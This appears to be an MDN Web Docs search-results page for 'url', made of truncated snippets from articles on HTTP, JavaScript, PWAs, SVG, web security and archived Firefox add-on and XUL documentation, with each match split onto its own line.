url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dns in this report and no server_ip is available to include.
... { "age": 20, "type": "network-error", "
url": "https://example.com/previous-page", "body": { "elapsed_time": 18, "method": "post", "phase": "dns", "protocol": "http/1.1", "referrer": "https://example.com/previous-page", "sampling_fraction": 1, "server_ip": "", "status_code": 0, "type": "dns.name_not_resolved", "
url": "https://example-host.com/" } } the type of the network error may be one of the following pre-defined values from the specification, but browsers can add and send their own error types: dns.unreachable the user's dns server is unreachable dns.name_not_resolved the user's dns server responded but was unable to resolve an ip address for the requested uri.
A typical HTTP session - HTTP
the
url of a page to fetch contains both the domain name, and the port number, though the latter can be omitted if it is 80.
...an absolute
url without the protocol or domain name the http protocol version subsequent lines represent an http header, giving the server information about what type of data is appropriate (e.g., what language, what mime types), or other data altering its behavior (e.g., not sending an answer if it is already cached).
... for example, sending the result of a form: post /contact_form.php http/1.1 host: developer.mozilla.org content-length: 64 content-type: application/x-www-form-
urlencoded name=joe%20user&request=send%20me%20one%20of%20your%20catalogue request methods http defines a set of request methods indicating the desired action to be performed upon a resource.
HTTP response status codes - HTTP
(there is no standardized way of choosing one of the responses, but html links to the possibilities are recommended so the user can pick.) 301 moved permanently the
url of the requested resource has been changed permanently.
... the new
url is given in the response.
...in the browser, this means the
url is not recognized.
SyntaxError: missing } after function body - JavaScript
check if any closing c
urly brackets or parenthesis are in the correct order.
...also check if any closing c
urly brackets or parenthesis are in the correct order.
... examples forgotten closing c
urly bracket oftentimes, there is a missing c
urly bracket in your function code: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); }; correct would be: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); } }; it can be more obscure when using iife, closures, or other constructs that use a lot of different parenthesis and c
urly brackets, for example.
SyntaxError: missing } after property list - JavaScript
might be in fact a missing c
urly bracket, but could also be a missing comma.
...might be in fact a missing c
urly bracket, but could also be a missing comma, for example.
... also check if any closing c
urly brackets or parenthesis are in the correct order.
String.prototype.link() - JavaScript
the link() method creates a string representing the code for an <a> html element to be used as a hypertext link to another
url.
... syntax str.link(
url) parameters
url any string that specifies the href attribute of the <a> tag; it should be a valid
url (relative or absolute), with any & characters escaped as &, and any " characters escaped as ".
... var hottext = 'mdn'; var
url = 'https://developer.mozilla.org/'; console.log('click to return to ' + hottext.link(
url)); // click to return to <a href="https://developer.mozilla.org/">mdn</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.link' in that specification.
async function - JavaScript
consider the following code: function getprocesseddata(
url) { return downloaddata(
url) // returns a promise .catch(e => { return downloadfallbackdata(
url) // returns a promise }) .then(v => { return processdatainworker(v) // returns a promise }) } it can be rewritten with a single async function as follows: async function getprocesseddata(
url) { let v try { v = await downloaddata(
url) } catch(e) { v = awai...
...t downloadfallbackdata(
url) } return processdatainworker(v) } in the above example, notice there is no await statement after the return keyword, although that would be valid too: the return value of an async function is implicitly wrapped in promise.resolve - if it's not already a promise itself (as in this example).
...it returns null if processdatainworker rejects with an error: async function getprocesseddata(
url) { let v try { v = await downloaddata(
url) } catch(e) { v = await downloadfallbackdata(
url) } try { return await processdatainworker(v) // note the `return await` vs.
serviceworker - Web app manifests
examples "serviceworker": { "src": "./serviceworker.js", "scope": "/app", "type": "", "update_via_cache": "none" } values service worker contain the following values (only src is required): member description src the
url to download the service worker script from.
... scope a string representing a
url that defines a service worker's registration scope; that is, what range of
urls a service worker can control.
... this is usually a relative
url, relative to the base
url of the application.
Add to Home screen - Progressive web apps (PWAs)
start_
url: provides a path to the asset that should be loaded when the added-to-home screen app is launched.
... note that this has to be a relative
url pointing to the site index, relative to the
url of the manifest.
...hey, at least it isn't cats.", "display": "fullscreen", "icons": [ { "src": "icon/fox-icon.png", "sizes": "192x192", "type": "image/png" } ], "name": "awesome fox pictures", "short_name": "foxes", "start_
url": "/pwa-examples/a2hs/index.html" } appropriate icon as shown in the above manifest listing, we are including a 192 x 192 px icon for use in our app.
Introduction to progressive web apps - Progressive web apps (PWAs)
linkable, so you can share it by simply sending a
url.
... linkability one of the most powerful features of the web is the ability to link to an app at a specific
url without the need for an app store or complex installation process.
... it's also easy for users to ensure that they're installing the right app, because its
url will match your site's domain.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
here, we open a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request
url).
...here is a simple usage example: self.addeventlistener('fetch', (e) => { console.log('[service worker] fetched resource '+e.request.
url); }); the response can be anything we want: the requested file, its cached copy, or a piece of javascript code that will do something specific — the possibilities are endless.
...if the file is not in the cache, the app adds it there first before then serving it: self.addeventlistener('fetch', (e) => { e.respondwith( caches.match(e.request).then((r) => { console.log('[service worker] fetching resource: '+e.request.
url); return r || fetch(e.request).then((response) => { return caches.open(cachename).then((cache) => { console.log('[service worker] caching new resource: '+e.request.
url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); here, we respond to the fetch event with a function that tries to find the resour...
Media - Progressive web apps (PWAs)
to specify rules that are specific to a type of media, use @media followed by the media type, followed by c
urly braces that enclose the rules.
... in css, you can use @import at the start of a stylesheet to import another stylesheet from a
url, optionally specifying the media type.
... there are five special selectors: selector selects e:hover any e element that has the pointer over it e:focus any e element that has keyboard focus e:active the e element that is involved in the current user action e:link any e element that is a hyperlink to a
url that the user has not visited recently e:visited any e element that is a hyperlink to a
url that the user has visited recently note: the information that can be obtained from the :visited selector is restricted in gecko 2.0.
clip-rule - SVG: Scalable Vector Graphics
the following fragment of code will cause an evenodd clipping rule to be applied to the clipping path because clip-rule is specified on the <path> element that defines the clipping shape: <g> <clippath id="myclip"> <path d="..." clip-rule="evenodd" /> </clippath> <rect clip-path="
url(#myclip)" ...
... /> </g> whereas the following fragment of code will not cause an evenodd clipping rule to be applied because the clip-rule is specified on the referencing element, not on the object defining the clipping shape: <g> <clippath id="myclip"> <path d="..." /> </clippath> <rect clip-path="
url(#myclip)" clip-rule="evenodd" ...
... example <svg width="100" viewbox="0 0 100 90" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- define star path --> <defs> <path d="m50,0 21,90 98,35 2,35 79,90z" id="star" /> </defs> <!-- left: evenodd --> <clippath id="emptystar"> <use xlink:href="#star" clip-rule="evenodd" /> </clippath> <rect clip-path="
url(#emptystar)" width="50" height="90" fill="blue" /> <!-- right: nonzero --> <clippath id="filledstar"> <use xlink:href="#star" clip-rule="nonzero" /> </clippath> <rect clip-path="
url(#filledstar)" width="50" height="90" x="50" fill="red" /> </svg> elements the following elements can use the clip-rule attribute, but only if they are inside a <clippath> element.
requiredExtensions - SVG: Scalable Vector Graphics
each extension is identified by an
url reference.
... usage notes value <list-of-extensions> default value none animatable no <list-of-extensions> the value is a list of references (iri references in svg 1,
url references in svg 2) which identify the required extensions, with the individual values separated by white space.
... candidate recommendation iris replaced with
urls scalable vector graphics (svg) 1.1 (second edition)the definition of 'requiredextensions' in that specification.
<pattern> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"> <defs> <pattern id="star" viewbox="0,0,10,10" width="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="
url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="
url(#star)"/> </svg> attributes height this attribute determines the height of the pattern tile.
... value type: <
url>; default value: none; animatable: yes patterncontentunits this attribute defines the coordinate system for the contents of the <pattern>.
... value type: <
url>; default value: none; animatable: yes note: for browsers implementing href, if both href and xlink:href are set, xlink:href will be ignored and only href will be used.
<use> - SVG: Scalable Vector Graphics
for security reasons, browsers may apply the same-origin policy on use elements and may refuse to load a cross-origin
url in the href attribute.
... attributes href the
url to an element/fragment that needs to be duplicated.
... value type: <
url> ; default value: none; animatable: yes xlink:href an <iri> reference to an element/fragment that needs to be duplicated.
Patterns - SVG: Scalable Vector Graphics
stop-color="blue"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="5%" stop-color="red"/> <stop offset="95%" stop-color="orange"/> </lineargradient> <pattern id="pattern" x="0" y="0" width=".25" height=".25"> <rect x="0" y="0" width="50" height="50" fill="skyblue"/> <rect x="0" y="0" width="25" height="25" fill="
url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="
url(#gradient1)" fill-opacity="0.5"/> </pattern> </defs> <rect fill="
url(#pattern)" stroke="black" width="200" height="200"/> </svg> screenshotlive sample inside the <pattern> element, you can include any of the other basic shapes you've included before, and each of them can be styled using any of the styles you've learned befor...
...by changing the patterncontentunits attribute, we can put all the elements into the same unit system: <pattern id="pattern" width=".25" height=".25" patterncontentunits="objectboundingbox"> <rect x="0" y="0" width=".25" height=".25" fill="skyblue"/> <rect x="0" y="0" width=".125" height=".125" fill="
url(#gradient2)"/> <circle cx=".125" cy=".125" r=".1" fill="
url(#gradient1)" fill-opacity="0.5"/> </pattern> now, because the pattern content is in the same unit system as the pattern, we don't have to offset the box so that the pattern starts in the correct place, and if the object size was changed to a larger one, the pattern would automatically scale so that it had the same number of objects...
...to create something like this, both the pattern and its contents must be drawn in the current userspace, so they don't change shape if the object does: <pattern id="pattern" x="10" y="10" width="50" height="50" patternunits="userspaceonuse"> <rect x="0" y="0" width="50" height="50" fill="skyblue"/> <rect x="0" y="0" width="25" height="25" fill="
url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="
url(#gradient1)" fill-opacity="0.5"/> </pattern> of course, this means the pattern won't scale if you change your object size later.
Referer header: privacy and security concerns - Web security
if the link was followed, depending on how information was shared the social media site may receive the reset password
url and may still be able to use the shared information, potentially compromising a user's security.
...a sensible application would remove such risks by making password reset
urls only usable for a single use, or when combined with a unique user token, and transmitting sensitive data in different ways.
... you should use post rather than get wherever possible, to avoid passing sensitive data to other locations via
urls.
xml:base - XML: Extensible Markup Language
the base
url of a element can be queried from a script using node.baseuri.
...nk { stroke: #999; stroke-opacity: .6; } marker#arrow { fill: black; } </style> </head> <body> <svg width="100%" height="100%" xml:base=""> <defs> <marker id="arrow" viewbox="0 -5 10 10" refx="0" refy="0" markerwidth="20" markerheight="20" orient="auto"> <path d="m0,-5l10,0l0,5"></path> </marker> </defs> <line x1="100" y1="100" x2="333" y2="333" marker-start="
url(#arrow)" class="link"></line> </svg> </body> </html> imagine a svg with font references.
...6" viewbox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <style type="text/css"><![cdata[ .s9_999{ font-size: 9.17px; font-family: zapfdingbats_ghr; fill: #161615; } ]]></style> <text x="647" y="412" dx="0" class="s9_999" >r</text> <style type="text/css"><![cdata[ @font-face { font-family: zapfdingbats_ghr; src:
url("fonts/zapfdingbats_ghr.woff") format("woff"); } ]]></style> </svg> setting the xml:base on the svg element means you can inline the svg and thereby bypass cors issue while not changing the base uri for your entire document.
port - Archive of obsolete content
the button sends the content script a message called "get-first-para" when it is clicked: // main.js pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.
url("listener.js"), content
url: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script listens for "get-first-para".
... for example, to include an array of strings in the payload: // main.js var pagemods = require("sdk/page-mod"); var self = require("sdk/self"); var pagemod = pagemods.pagemod({ include: ['*'], contentscriptfile: self.data.
url("content-script.js"), onattach: setuplistener }); function setuplistener(worker) { worker.port.on('loaded', function(pageinfo) { console.log(pageinfo[0]); console.log(pageinfo[1]); }); } //content-script.js self.port.emit('loaded', [ document.location.tostring(), document.title ]); ...
content/worker - Archive of obsolete content
optional options: name type contentscriptfile string,array the local file
urls of content scripts to load.
... properties port object that allows you to: send customized messages to the worker using the port.emit function receive events from the worker using the port.on function
url the
url of the content.
Add a Context Menu Item - Archive of obsolete content
this is a
url pointing to a 16x16 icon that's displayed at the left side of the context menu item.
... typically you'd store the image in your add-on's "data" directory, and construct the
url using self.data.
url(): var self = require("sdk/self"); var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', image: self.data.
url("icon-16.png"), onmessage: function (selectiontext) { console.log(selectiontext); } }); adding an access key new in firefox 35.
Implementing the widget - Archive of obsolete content
main.js now in the lib directory open main.js and add the following code: var widgets = require('sdk/widget'); var data = require('sdk/self').data; var annotatorison = false; function toggleactivation() { annotatorison = !annotatorison; return annotatorison; } exports.main = function() { var widget = widgets.widget({ id: 'toggle-switch', label: 'annotator', content
url: data.
url('widget/pencil-off.png'), contentscriptwhen: 'ready', contentscriptfile: data.
url('widget/widget.js') }); widget.port.on('left-click', function() { console.log('activate/deactivate'); widget.content
url = toggleactivation() ?
... data.
url('widget/pencil-on.png') : data.
url('widget/pencil-off.png'); }); widget.port.on('right-click', function() { console.log('show annotation list'); }); } the annotator is inactive by default.
Developing for Firefox Mobile - Archive of obsolete content
ed passwords supported private-browsing not supported querystring supported request supported selection not supported self supported simple-prefs supported simple-storage supported system supported tabs supported timers supported ui not supported
url supported widget not supported windows supported low-level apis /loader supported chrome supported console/plain-text supported console/traceback supported content/content supported content/loader supported content/mod supported content/worker supported core/...
...event/core supported event/target supported frame/hidden-frame supported frame/utils supported io/byte-streams supported io/file supported io/text-streams supported lang/functional supported lang/type supported loader/cuddlefish supported loader/sandbox supported net/
url supported net/xhr supported places/bookmarks not supported places/favicon not supported places/history not supported platform/xpcom supported preferences/service supported stylesheet/style supported stylesheet/utils supported system/environment supported system/events support...
Open a Web Page - Archive of obsolete content
the callback is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({
url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab.
...this add-on loads a page, then attaches a script to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({
url: "http://www.example.com", onready: runscript }); function runscript(tab) { tab.attach({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Drag & Drop - Archive of obsolete content
next, setup the handlers so that files can be dropped on the application: function _dragover(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("text/x-moz-
url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = component...
...terfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-
url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } ...
HTML to DOM - Archive of obsolete content
let's take a look at the donkeyfire.donkeybrowser_onpageload() handler: donkeybrowser_onpageload: function(aevent) { var doc = aevent.originaltarget; var
url = doc.location.href; if (aevent.originaltarget.nodename == "#document") { // ok, it's a real page, let's do our magic dump("[df]
url = "+
url+"\n"); var text = doc.evaluate("/html/body/h1",doc,null,xpathresult.string_type,null).stringvalue; dump("[df] text in /html/body/h1 = "+text+"\n"); } }, as you can see, we obtain full access to the dom of the page we loaded in background, and we ca...
...in the example, we dump() to the console the page's
url and the text contained in the first h1 tag of the page's <body>.
View Source for XUL Applications - Archive of obsolete content
the object can include the following properties:
url (required) a string
url for the document to view the source of.
... the viewsource method will also accept the following arguments in place of the object: a
url a string
url for the document to view the source of.
xml:base support in old browsers - Archive of obsolete content
tch(/\/$/)) { xmlbase = xmlbase.substring(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute
url, it should be from the host only link = loc.protocol + '//' + loc.host + link; } else { // if link is relative, it should be from full path, minus the file var dirpath = loc.pathname.substring(0, loc.pathname.lastindexof('/')-1); if (link.lastindexof('/') !== link.length-1) { link += '/'; } link = loc.protocol + '//' + loc.host + dirpath + link; } } return link; } func...
...tion getxmlbase (thisitem) { // fix: need to keep going up the chain if still a relative
url!!!!!
Deploying a Plugin as an Extension - Archive of obsolete content
one of the additional things that can be placed in the install.rdf is called an update
url.
... for example: <em:update
url><http://www.rhapsody.com/update.rdf></em:update
url> this
url specifies an rdf file that can be used to tell firefox that there are updates available for your extension.
Appendix F: Monitoring DOM changes - Archive of obsolete content
hashchange and popstate events most ajax-heavy sites update the
url when they significantly change their content, either via a change to the fragment identifier (hash) or more recently via the history.pushstate method.
... often times, this must be used in combination with a slight delay, or even polling, via settimeout, for cases where the
url change happens before the page is fully loaded.
Setting up an extension development environment - Archive of obsolete content
(how to find your profile directory) alternatively, rather than using a guid, create a unique id using the format "name@yourdomain" (for example chromebug@mydomain.com) - then the proxy filename will be same as that id, with no c
urly brackets {}.
... also note that the use of proxy files requires that the extension's chrome.manifest defines its chrome
urls using traditional directories, rather than a jared structure.
Updating addons broken by private browsing changes - Archive of obsolete content
following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsicontentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: save
url saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the new per-window private browser feature in firefox 20 (and will require u...
... save
url: takes a new required document argument indicating the source of the
url being saved.
CSS3 - Archive of obsolete content
extends the
url() syntax to support image slices using media fragments.
... the image() function as a more flexible alternative to
url() to define an image from an
url.
Creating a status bar extension - Archive of obsolete content
ns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!-- front end metadata --> <em:name>status bar sample 1</em:name> <em:description>sample static status bar panel</em:description> <em:creator>my name</em:creator> <em:homepage
url>http://developer.mozilla.org/en/docs/creating_a_status_bar_extension</em:homepage
url> <!-- describe the firefox versions we support --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> </description> </em:targetapplication> </description> </...
... homepage
url the
url of a web site the user can visit to get information about the extension, or to look for updates.
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
we use new to create a new instance of it, set the instance's onload property to updatetinderboxstatus(), the function we want to execute when the document finishes loading, call its open method with the type of http request we want to make and the
url of the document to retrieve, and then call its send method to send the request.
... xmlhttprequest will retrieve the document located at the given
url and call the updatetinderboxstatus() function when it is done.
Making a Mozilla installation modifiable - Archive of obsolete content
the registry contains a bunch of complicated configuration statements in which you will find a number of
urls of the form jar:resource:/chrome/something.jar!/something-else...
...if you have perl on your system, you can do this with the following command: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-chrome.txt for example, to convert the
url jar:resource:/chrome/comm.jar!/content/necko/, change it to resource:/chrome/content/necko/.
JavaScript Client API - Archive of obsolete content
const cu = components.utils; cu.import("resource://services-sync/engines.js"); cu.import("resource://services-sync/record.js"); cu.import("resource://services-sync/util.js"); the record object the record object is a wrapper around a single instance of whatever data it is that you are syncing -- a single bookmark, history
url, password or form data entry.
...depending of what type of data you're working with, you might already have guids built into your data that you can make use of (note that guids must be allowed to change and should be
url friendly).
Creating a Help Content Pack - Archive of obsolete content
the glossary file is written in rdf and consists of a simple list of terms with corresponding
urls to the term definition.
... nc:base contains the base
url relative to which the help content referenced in the descriptor file is located.
Hidden prefs - Archive of obsolete content
address book "get map" button pref ("mail.addr_book.mapit_
url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card preview pane.
... the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_
url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced.
First run - Archive of obsolete content
this page can be defined as either html or a remote
url.
... if the value is a both a string and a valid
url, the page at that
url becomes your first-run page.
First Run - Archive of obsolete content
this page can be defined as either html or a remote
url.
...if the value is a both a string and a valid
url, the page at that
url becomes your first-run page.
Tabs - Archive of obsolete content
methods open(
urlstring)opens a new tab in your browser with a defined
url.
...
urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(lengthstringfocusedstringtostringstringpopstringpushstringreversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded.
slideBar - Archive of obsolete content
jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xml
urluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar instance.
... iconhref oficon to show in the slidebaruri htmlhtml content for the featurehtml/xml
urlurl to load content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({
url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
Microsummary topics - Archive of obsolete content
note: when web sites install generators via window.sidebar.addmicrosummarygenerator(), firefox sets their uri attribute to urn:source:source
url, where source
url is the
url from which the generator was downloaded.
... in the future, firefox may access source
urls to download updated versions of generators, so unless you are installing generators which are available from
urls, you should not use this form for your programmatically-installed generators.
Configuration - Archive of obsolete content
this identifier becomes the name of the profile folder where your webapp is installed: google.mail@your.name uri the uri/
url of the web app: http://mail.google.com name the display name of the application: gmail icon the icon you want to use for the prism window when running this web app.
...separate multiple uris with commas: *google.com, *yahoo.com exclude
urls that should be opened in the default browser, rather than in the web app.
DOM Interfaces - Archive of obsolete content
idl definition interface nsidomdocumentxbl { nodelist getanonymousnodes(in element elt); element getanonymouselementbyattribute(in element elt, in domstring attrname, in domstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in domstring document
url); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element.
... parameters document
url of type domstring - the
url of a binding document.
Example Sticky Notes - Archive of obsolete content
<!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding:
url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc.
...you add a binding file using -moz-binding style rule and you address a particular binding by its id: -moz-binding:
url(notes.xml#default) this id is local within the binding file (not visible in the target document dom tree).
datasources - Archive of obsolete content
these can be either internal datasources such as rdf:bookmarks or a
url.
... for xml datasources, only one source is used, either the
url of an xml file or an anchor reference to another element within the same document.
Uploading and Downloading Files - Archive of obsolete content
the formdata object can then simply be passed to xmlhttprequest: function upload(post
url, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", post
url); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation.
... function uploadput(post
url, filepath) { var req = new xmlhttprequest(); req.open("put", post
url); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method.
addTab - Archive of obsolete content
« xul reference home addtab(
url, referreruri, charset, postdata, owner, allowthirdpartyfixup ) addtab(
url, {referreruri: ..., charset: ..., postdata: ..., owner: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
... }) return type: tab element opens a new tab that loads a page with the specified
url.
appendNotification - Archive of obsolete content
value - value used to identify the notification image -
url of image to appear on the notification.
... popup: null }; buttons.push(button2); //appendnotification( label , value , image (
url) , priority , buttons, eventcallback ) notifybox.appendnotification("my notification text", "test notification unique id", "chrome://browser/content/aboutrobots-icon.png", notifybox.priority_info_high, buttons, testnotificationcallback); } ...
loadOneTab - Archive of obsolete content
« xul reference home loadonetab(
url, referreruri, charset, postdata, loadinbackground, allowthirdpartyfixup ) loadonetab(
url, { referreruri: ..., charset: ..., postdata: ..., inbackground: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
... }) return type: tab element opens a new tab that loads a page with the specified
url.
openWindow - Archive of obsolete content
« xul reference home openwindow( windowtype,
url, features, params ) return type: window open a child window.
...if a window of the type is not open, a new one is opened displaying the supplied
url.
Namespaces - Archive of obsolete content
an xml namespace is identified by an unique name (called a uri, not a
url, even though it can look like a
url).
... an uri is any string, although most people choose a
url-based uri because
urls are an easy way to hope for uniqueness.
MenuItems - Archive of obsolete content
#add-bookmark { list-style-image:
url('addbookmark.png'); } this technique can also be used to apply an image for the menu element, except you would want to use the "menu-iconic:" class instead.
...hence, -moz-image-region is not applied to the menu itself, but one level lower: <menuitem id="add-bookmark" class="menuitem-iconic" label="add bookmark" image="addbookmark.png"/> #add-bookmark { list-style-image:
url('addbookmark.png'); } #add-bookmark .menu-iconic-icon { -moz-image-region: rect(0px, 16px, 16px, 0px) !important; } #add-bookmark:hover .menu-iconic-icon { -moz-image-region: rect(16px, 16px, 32px, 0px) !important; } this behavior is fundamentally different to other html elements, such as <li> or <div> where list-style-image and -moz-image-region can be applied at the same element level.
Bindings - Archive of obsolete content
<query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple.
... </query> <rule> <binding subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> <action> ...
Filtering - Archive of obsolete content
the resulting rdf triples for the first country will be: http://www.daml.org/2001/09/countries/iso#it -> http://www.w3.org/1999/02/22-rdf-syntax-ns#type -> http://www.daml.org/2001/09/countries/country-ont#country http://www.daml.org/2001/09/countries/iso#it -> http://p
url.org/dc/elements/1.1/title -> italy the type is just like any other triple in the datasource, so we don't need any special syntax to navigate over it.
... <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://p
url.org/dc/elements/1.1/title" object="?countrytitle"/> </query> the action body will need to generate a <menuitem> for each result.
Multiple Rule Example - Archive of obsolete content
<vbox id="photoslist" align="start" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/date" object="?date"/> </conditions> <action> <hbox uri="?photo" ...
...x> <groupbox> <caption label="photo details"/> <label value="?description"/> <label value="date: ?date"/> </groupbox> </hbox> </action> </rule> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?phototitle"/> </conditions> <action> <vbox uri="?photo" class="box-padded"> <label value="?phototitle"/> <image src="?photo"/> </vbox> </action> </rule> </template> </vbox> in this example, the first rule matches only those photos with title, description, and date properties.
SQLite Templates - Archive of obsolete content
first, it may a file
url pointing to a file on disk.
...the second method involves using a special
url form: profile:filename.sqlite this form with the 'profile' prefix is used to refer to files in the profile directory.
Sorting Results - Archive of obsolete content
for instance: <treecol id="name" label="name" sort="rdf:http://p
url.org/dc/elements/1.1/title" flex="1"/> note that all of this discussion about sorting only applies to tree builders.
...for rdf datasources, you can also use an rdf predicate for sorting instead of a variable: <hbox datasources="template-guide-photos5.rdf" sort="http://p
url.org/dc/elements/1.1/title" sortdirection="ascending" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://p
url.org/dc/elements/1.1/title"/> </vbox> </template> </hbox> in this example, the generated items will be sorted by title.
Static Content - Archive of obsolete content
